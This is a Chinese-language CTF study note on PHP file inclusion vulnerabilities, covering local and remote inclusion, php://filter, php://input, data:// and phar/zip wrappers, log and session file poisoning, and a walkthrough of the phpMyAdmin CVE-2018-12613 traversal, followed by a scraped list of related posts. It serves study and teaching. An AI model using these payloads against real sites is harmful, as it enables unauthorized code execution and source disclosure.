一、基本概念

  • 文件包含
    将相同函数写入单独的文件中,需要使用时直接调用
  • 文件包含漏洞
    将被包含的文件设置为变量,导致客户端可以恶意调用一个恶意文件
  • 相关函数
    • include()
    • include_once()
    • require()
    • require_once()
      include()若没有找到文件,只报warning;require()报错停止
      once说明值包含一次
      包含可执行文件时会直接执行

二、本地文件包含

  • 包含的实现
    包含的时候,不一定要包含.php文件,只要包含一块完整的php代码,例如a.jpg,内容为<?php phpinfo();?>
  • 具体场景
    由于被包含的文件类型多种多样,因此在实现的时候,重点在于找到可控文件

    • 比如说能够上传图片,就去传一个带完整php代码的图片文件,或者是将代码文件改后缀
    • 压缩包使用伪协议

三、远程文件包含

  • 远程包含的条件

    • allow_url_fopen
    • allow_url_include
  • [http|https|ftp]://www.bbb.com/shell.txt
    若后缀名写死,可以使用?绕过
    例如www.bbb.com/shell.txt?a.php

  • 伪协议

    • php归档

      • phar://archive.zip/file.txt
      • zip://archive.zip#dir/file.txt(#有时需要替换为%23)
    • 利用php流
      • php://filter是一种元封装器,用于数据流打开筛选过滤的应用。对于一体式的文件函数非常有用,类似readfile()file()file_get_contents()
        ?file=php://filter/convert.base64-encode/resource=index.php
      • php://input
        利用条件:

        • 1、allow_url_include=On
        • 2、对allow_url_fopen不做要求
        • php://input可以读取没有处理过的POST数据
    • data协议
      include('data://text/plain;base64,cGhwaW5mbygpCg==');

四、具体场景

  • 日志文件
    web服务器会将请求写入到日志文件中,比如说apache。当用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在/var/log/apahce2/

  • 系统环境
    https://www.youtube.com/watch?v=dlh0ogYy9ys

  • session
    登录注册类型要么sql注入要么session文件包含

    • php默认生成的Session文件往往存在/tmp目录下
    • 文件名为sess_PHPSESSID
    • session.upload_progress.enabled这个参数在php.ini默认开启,如果不是Off,就会在上传过程中生成上传进度文件,它的储存文件路径可以在phpinfo获取到

五、补充

  • CVE-2018-12613Phpmyadmin后台 任意文件包含漏洞复现

    checkPageValidity
    //%253f是?号的二此url编码
    urlcode将$page解码后是db_sql.php?/../../test.php 再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true
    前面5个if都符合后会包含$_REQUEST['target'],target值会被解析成db_sql.php%3f/../../test.txt,因为php会前面db_sql.php%3f当成目录,所以要多加一个../来跨出目录

CTF 文件包含的更多相关文章

  1. CTF 文件包含与伪协议

    正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...

  2. 一道内部ctf文件包含题

    拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试   文件变成中文的了,说明中文语言进行了包含并替换 ...

  3. CTF文件包含

    <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); s ...

  4. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

  5. 实战经验丨CTF中文件包含的技巧总结

    站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...

  6. 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

    题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...

  7. CTF PHP文件包含--session

    PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...

  8. 【CTF WEB】文件包含

    文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1>< ...

  9. i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)

    需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 import hashlib def func(md5_val): for x in range(1,100000000): md5_ ...

随机推荐

  1. ConnectionString属性(网速慢的情况下研究Connect Timeout)

    ConnectionString 类似于 OLE DB 连接字符串,但并不相同.与 OLE DB 或 ADO 不同,如果“Persist Security Info”值设置为 false(默认值),则 ...

  2. 学习笔记之盘一盘 Python 系列 1 & 2 - 入门篇

    盘一盘 Python 系列 1 & 2 - 入门篇 https://mp.weixin.qq.com/s?__biz=MzIzMjY0MjE1MA==&mid=2247486473&a ...

  3. vue中keep-alive,include的指定页面缓存问题

    做vue项目时,有时要在某些页面做缓存,而其它页面不要.比如:A:首页,B:获取所有订单页面,C:订单详情页面:从A(首页)进入 B(获取所有订单)时应该不缓存,B(所有订单)进入 C(订单详情)订单 ...

  4. Android数据库GreenDao配置版本问题

    感谢该贴解决我多天的困惑:https://blog.csdn.net/u013472738/article/details/72895747 主要是降低了GreenDao版本 网上很多教程说的版本都是 ...

  5. IntelliJ IDEA快速自动生成Junit测试类

    1.背景 测试是保证代码必不可少的环节,自己构建测试方法太慢,并且命名也不规范,idea中提供了,一键构建测试结构的功能...废话不多说,直接写步骤 2.步骤 1.在需要做测试的类的当前窗口,直接按快 ...

  6. sql 语句中关于 not in 和 null 的问题简单解析

    理解这个问题,只需要记住一个逻辑: null 和任何值比较运算都返回的 false Ex: SQL01: SELECT * FROM userinfo WHERE age NOT IN() SQL01 ...

  7. 爬取网易云音乐歌手和id

    pip install lxml csv requests from lxml import etree from time import sleep import csv import reques ...

  8. scrapy 写文件进行debug调试

    首先进入和setting同级目录 新建run.py文件 # *_*coding:utf-8 *_* from scrapy import cmdline cmdline.execute('scrapy ...

  9. unittest使用

    unittest:单元测试框架主要包含四部分: 1.测试固件(test fixture): 定义:包含执行测试前的准备setUP().测试执行完后的清扫工作tearDown() 注意: setUp() ...

  10. HotSpot虚拟机的锁优化

    面试中多次被问到synchronized关键字的实现原理,一直认为仅是monitorenter与monitorexit两条指令而已,原来底层涉及到多种锁优化策略,包括:自旋锁,轻量锁,偏向锁. 1.自 ...